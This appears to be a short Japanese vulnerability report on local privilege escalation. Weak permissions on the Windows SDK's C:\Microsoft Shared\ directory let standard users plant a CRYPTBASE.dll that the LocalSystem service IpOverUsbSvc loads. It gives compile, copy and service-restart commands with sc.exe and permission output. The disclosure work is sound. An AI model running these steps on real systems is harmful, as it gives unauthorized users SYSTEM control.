
再現手順: i686-w64-mingw32-gcc -shared -o CRYPTBASE.dll poc.c -lkernel32
copy CRYPTBASE.dll "C:\Microsoft Shared\Phone Tools\CoreCon\11.0\bin\CRYPTBASE.dll"
net stop IpOverUsbSvc
net start IpOverUsbSvc

説明: IpOverUsbSvc
sc.exe qc IpOverUsbSvc
SERVICE_NAME: IpOverUsbSvc
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
BINARY_PATH_NAME : "C:\Microsoft Shared\Phone Tools\CoreCon\11.0\bin\IpOverUsbSvc.exe"
SERVICE_START_NAME : LocalSystem
LocalSystem 権限で実行されます。実行可能ファイルは C:\Microsoft Shared\ ディレクトリにあり、標準ユーザーはこのディレクトリに対してフルコントロール権限を持っています。
通常のユーザーが SYSTEM サービスディレクトリにファイルを書き込めることが判明しました。
次に DLL を監視します

Windows SDK インストール時に作成される C:\Microsoft Shared\ ディレクトリのアクセス許可が適切に構成されていません:
C:\Microsoft Shared BUILTIN\Users:(I)(OI)(CI)(F)
NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(M)